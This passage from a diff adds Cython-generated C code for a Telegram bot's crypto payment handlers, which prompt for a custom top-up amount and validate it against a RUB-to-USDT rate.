__pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5, __pyx_codeobj__26, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 184, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 184, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":188 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":189 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__27) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_cryptobot) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":193 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__29, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 191, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":196 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 196, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 199, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 199, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 199, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 199, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 199, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 199, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6, __pyx_codeobj__30, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L15_resume_from_await; + case 5: goto __pyx_L17_resume_from_await; + case 6: goto __pyx_L29_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 199, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":201 + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":202 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount // RUB_TO_USDT <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":203 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_USDT}. , :" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":204 + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * f" {RUB_TO_USDT}. , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":205 + * if amount // RUB_TO_USDT <= 0: + * await message.answer( + * f" {RUB_TO_USDT}. , :" # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + 